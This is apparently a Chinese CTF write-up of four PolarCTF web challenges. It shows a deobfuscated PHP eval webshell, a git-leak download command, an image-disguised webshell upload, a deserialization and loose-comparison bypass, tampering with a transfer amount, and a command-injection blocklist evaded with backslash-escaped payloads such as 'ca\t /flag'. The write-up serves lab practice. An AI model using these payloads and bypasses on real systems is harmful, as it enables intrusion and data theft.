狗黑子的eval
查看源码并没有什么信息,小习惯,扫一下目录
我们查看下
我们看admin.php
查看源代码
有一个payload.php
<?php highlight_file(__FILE__); //gou=a,gougou=b; $gou1="12gou";$gou5="16gou";$gou4="5gou";$gou6="gou"; $gou2="22gou";$gou3="15gou"; $gou7="c3Rnbw=="; $gou8='5pys572R6aG15piv5LiA5Liq5zyo57q/5bel5YW377yM5Y+v5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NzCDmiJbogIXku44gQmFzzTY0IOi9rOaIkOaIkOWtl+espuS4s'; $gou13=$gou8{34};$gou17=$gou8{10};$gou12=$gou8{15};$gou10=$gou8{105};$gou14=$gou12;$gou11=$gou8{51}; $gou=$gou4.$gou2.$gou6.$gou1.$gou5.$gou3.$gou7.$gou8.$gou11.$gou13.$gou17.$gou12.$gou10.$gou14; ?>gou=a,gougou=b; 意思是1gou=a,2gou=gougou=b,3gou=gougougou=c $gou1="12gou";$gou5="16gou";$gou4="5gou";$gou6="gou"; 12gou=l,16gou=p,5gou=e,gou=a $gou2="22gou";$gou3="15gou"; 22gou=v,15gou=o $gou7="c3Rnbw=="; base64解码为stgo $gou8='a5pys572R6aG15piv5LiA5Liq5zyo57q/5bel5YW377yM5Y+v5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NzCDmiJbogIXku44gQmFzzTY0IOi9rOaIkOaIkOWtl+espuS4s'; $gou13=$gou8{34};$gou17=$gou8{10};$gou12=$gou8{15};$gou10=$gou8{105};$gou14=$gou12;$gou11=$gou8{51}; 根据提示这里需要从1开始,php数组是从零开始算,我们的5就不被执行了我们在5的前面多加一个字符,这样就从5开始 我们已经解开了前半部分后半部分需要借助脚本的完整 前半部分为 $gou4.$gou2.$gou6.$gou1.$gou5.$gou3.$gou7. evalpostgo我们对代码进行修改和补充
<?php highlight_file(__FILE__); //gou=a,gougou=b; $gou1="12gou";$gou5="16gou";$gou4="5gou";$gou6="gou"; $gou2="22gou";$gou3="15gou"; $gou7="c3Rnbw=="; $gou8='a5pys572R6aG15piv5LiA5Liq5zyo57q/5bel5YW377yM5Y+v5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NzCDmiJbogIXku44gQmFzzTY0IOi9rOaIkOaIkOWtl+espuS4s'; $gou13=$gou8[34];$gou17=$gou8[10];$gou12=$gou8[15];$gou10=$gou8[105];$gou14=$gou12;$gou11=$gou8[51]; $gou=$gou4.$gou2.$gou6.$gou1.$gou5.$gou3.$gou7.$gou8.$gou11.$gou13.$gou17.$gou12.$gou10.$gou14; $g=$gou11.$gou13.$gou17.$gou12.$gou10.$gou14; echo "evalpostgo",$g; ?> evalpostgoubaizi这里的大括号不能使用,属于语法错误,我们改成中括号
在这里可以看到如果5在0的位置上我们得得到得就是乱码,没有任何逻辑
evalpostgoleGvzv
从得得到的结果看evalpostgoubaizi
正确的样子为eval post goubaizi
看起来像是一句话木马,我们还扫到了shell.php
应该是木马文件
不能命令执行,我们蚁剑连接
但是蚁剑连接显示为空,会不会是无回显,我们尝试把我们的代码带出来
成功带出
常规位置并没有flag
我们查找一下flag的位置
find / -name "*flag*" 2>/dev/null/etc/flag
我们访问一下
成功获取flag
php混淆壳,无回显命令执行
狗黑子的登录
扫目录起手
我们可以看到git泄露
githacker --url http://c2263eb9-e216-476d-90e5-f2f7f71a097d.www.polarctf.com:8090/.git/ --output-folder zhaxiang
我们把文件下载下来
<?php session_start(); if (isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true) { header('Location: admin.php'); exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['seclients_can_register'])) { $registerValue = $_POST['seclients_can_register']; // 明确处理0和1两种情况 if ($registerValue == 1) { $_SESSION['show_register'] = true; } elseif ($registerValue == 0) { $_SESSION['show_register'] = false; } } // 处理登录 $error = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['login'])) { $username = $_POST['username'] ?? ''; $password = $_POST['password'] ?? ''; require 'config.php'; if (isset($users[$username]) && $users[$username] === $password) { $_SESSION['logged_in'] = true; $_SESSION['username'] = $username; header('Location: admin.php'); exit; } else { $error = '用户名或密码不正确'; } } ?> <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>狗黑子的小破站</title> <style> body { font-family: Arial, sans-serif; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; background-color: #f0f0f0; } .login-container { background-color: white; padding: 2rem; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); } .form-group { margin-bottom: 1rem; } label { display: block; margin-bottom: 0.5rem; } input { width: 100%; padding: 0.5rem; border: 1px solid #ddd; border-radius: 4px; } button { width: 100%; padding: 0.5rem; background-color: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; } button:hover { background-color: #0056b3; } .error { color: red; margin-bottom: 1rem; } .register-btn { margin-top: 1rem; font-size: 0.8rem; padding: 0.3rem; background-color: #6c757d; } .register-btn:hover { background-color: #5a6268; } </style> </head> <body> <div class="login-container"> <h2>用户登录</h2> <?php if ($error): ?> <div class="error"><?php echo $error; ?></div> <?php endif; ?> <form method="post"> <div class="form-group"> <label for="username">用户名</label> <input type="text" id="username" name="username" required> </div> <div class="form-group"> <label for="password">密码</label> <input type="password" id="password" name="password" required> </div> <button type="submit" name="login">登录</button> <?php if (isset($_SESSION['show_register']) && $_SESSION['show_register'] === true): ?> <button type="button" class="register-btn" onclick="window.location.href='register.php'">注册</button> <?php endif; ?> </form> </div> </body> </html>if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['seclients_can_register'])) { $registerValue = $_POST['seclients_can_register']; // 明确处理0和1两种情况 if ($registerValue == 1) { $_SESSION['show_register'] = true; } elseif ($registerValue == 0) { $_SESSION['show_register'] = false; } }在这里发现注册页面,我们现在开始进行注册
我们现在开始登录
成功登录
<?php session_start(); if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) { header('Location: index.php'); exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['seclients_can_upload']) && $_POST['seclients_can_upload'] == 1) { $_SESSION['show_upload'] = true; } $upload_message = ''; if (isset($_SESSION['show_upload']) && $_SESSION['show_upload'] === true && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $target_dir = "uploads/"; if (!file_exists($target_dir)) { mkdir($target_dir, 0777, true); } $target_file = $target_dir . basename($_FILES["file"]["name"]); $uploadOk = true; if ($_FILES["file"]["size"] < 200 * 1024) { $upload_message = "文件太小了。"; $uploadOk = false; } $image_types = array('image/jpeg', 'image/png', 'image/gif', 'image/webp'); $file_type = $_FILES["file"]["type"]; if (!in_array($file_type, $image_types)) { $upload_message = "只允许上传图片文件 (JPG, PNG, GIF, WEBP)。"; $uploadOk = false; } if ($uploadOk && move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) { $upload_message = "文件 " . htmlspecialchars(basename($_FILES["file"]["name"])) . " 上传成功。"; } elseif ($uploadOk) { $upload_message = "文件上传失败。"; } } ?> <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>狗黑子的小破站</title> <style> body { font-family: Arial, sans-serif; padding: 2rem; } .upload-section { margin-top: 2rem; padding: 1rem; border: 1px solid #ddd; border-radius: 4px; } .message { margin: 1rem 0; padding: 1rem; border-radius: 4px; } .success { background-color: #d4edda; color: #155724; } .error { background-color: #f8d7da; color: #721c24; } button { padding: 0.5rem 1rem; background-color: #dc3545; color: white; border: none; border-radius: 4px; cursor: pointer; } button:hover { background-color: #c82333; } input[type="file"] { margin: 1rem 0; } input[type="submit"] { padding: 0.5rem 1rem; background-color: #28a745; color: white; border: none; border-radius: 4px; cursor: pointer; } input[type="submit"]:hover { background-color: #218838; } </style> </head> <body> <h1>恭喜进来<?php echo htmlspecialchars($_SESSION['username']); ?>!</h1> <p><a href="logout.php"><button>退出登录</button></a></p> <?php if ($upload_message): ?> <div class="message <?php echo strpos($upload_message, '成功') !== false ? 'success' : 'error'; ?>"> <?php echo $upload_message; ?> </div> <?php endif; ?> <?php if (isset($_SESSION['show_upload']) && $_SESSION['show_upload'] === true): ?> <div class="upload-section"> <h2>文件上传</h2> <form method="post" enctype="multipart/form-data"> <input type="file" name="file" id="file"> <br> <input type="submit" value="上传文件" name="upload"> </form> </div> <?php endif; ?> </body> </html>if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['seclients_can_upload']) && $_POST['seclients_can_upload'] == 1) { $_SESSION['show_upload'] = true; } $upload_message = ''; if (isset($_SESSION['show_upload']) && $_SESSION['show_upload'] === true && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $target_dir = "uploads/"; if (!file_exists($target_dir)) { mkdir($target_dir, 0777, true); } $target_file = $target_dir . basename($_FILES["file"]["name"]); $uploadOk = true; if ($_FILES["file"]["size"] < 200 * 1024) { $upload_message = "文件太小了。"; $uploadOk = false; } $image_types = array('image/jpeg', 'image/png', 'image/gif', 'image/webp'); $file_type = $_FILES["file"]["type"]; if (!in_array($file_type, $image_types)) { $upload_message = "只允许上传图片文件 (JPG, PNG, GIF, WEBP)。"; $uploadOk = false; }分析源码,得到seclients_can_upload上传文件的路径
只能上传图片,大小必须大于200
上传一个文件大小大于200的图片马再改后缀
成功上传
获取flag
git泄露,信息收集,命令执行
ZGZH
tip:反序列化,把不需要的删掉
让我们构造反序列化,但是没有给我们类也没有参数
<?php class User { public $username ="AAA"; } $a = new User(); echo serialize($a); ?>随便构造一个
仅允许包含当前目录下的合法文件
扫目录发现当前文件下有flag.php
去包含flag.php
<?php class User{ public $username; } $a = new User(); $a -> username ="flag.php"; echo urlencode(serialize($a)); ?>或者直接打开flag.php,都会直接输出
进入pass.php
是弱比较绕过
满足弱比较条件提交857.00E+0000,即可获得flag
奇怪的php反序列化,弱比较
老刘的小店
一个登录页面,我们点击加入,注册一个账号
我们可以看到
我们可以再拿到3个代币远远不够我们的需要
发现可以进行转账,我们在创一个账号尝试进行抓包转账,更改金额看看可以不可以
创建一个账号b,给账号a进行转账
进行改包
看来是成功了,我们登录a来看看
现在开始买买买
其他三个信息一点用都没有
没关系,现在我们拿到了管理员的账号
在页面中没有有用的信息
查看源码发现
if (isset($_GET['id'])) { $id=$_GET['id']; if(preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i",$id)) { $output = '你想干什么?'; }else{ system($id); } }过滤的看似我们没法了实则没有
我们可以使用\来绕过
?id=l\s ?id=l\s / ?id=ca\t /flag成功获取flag
waf绕过命令执行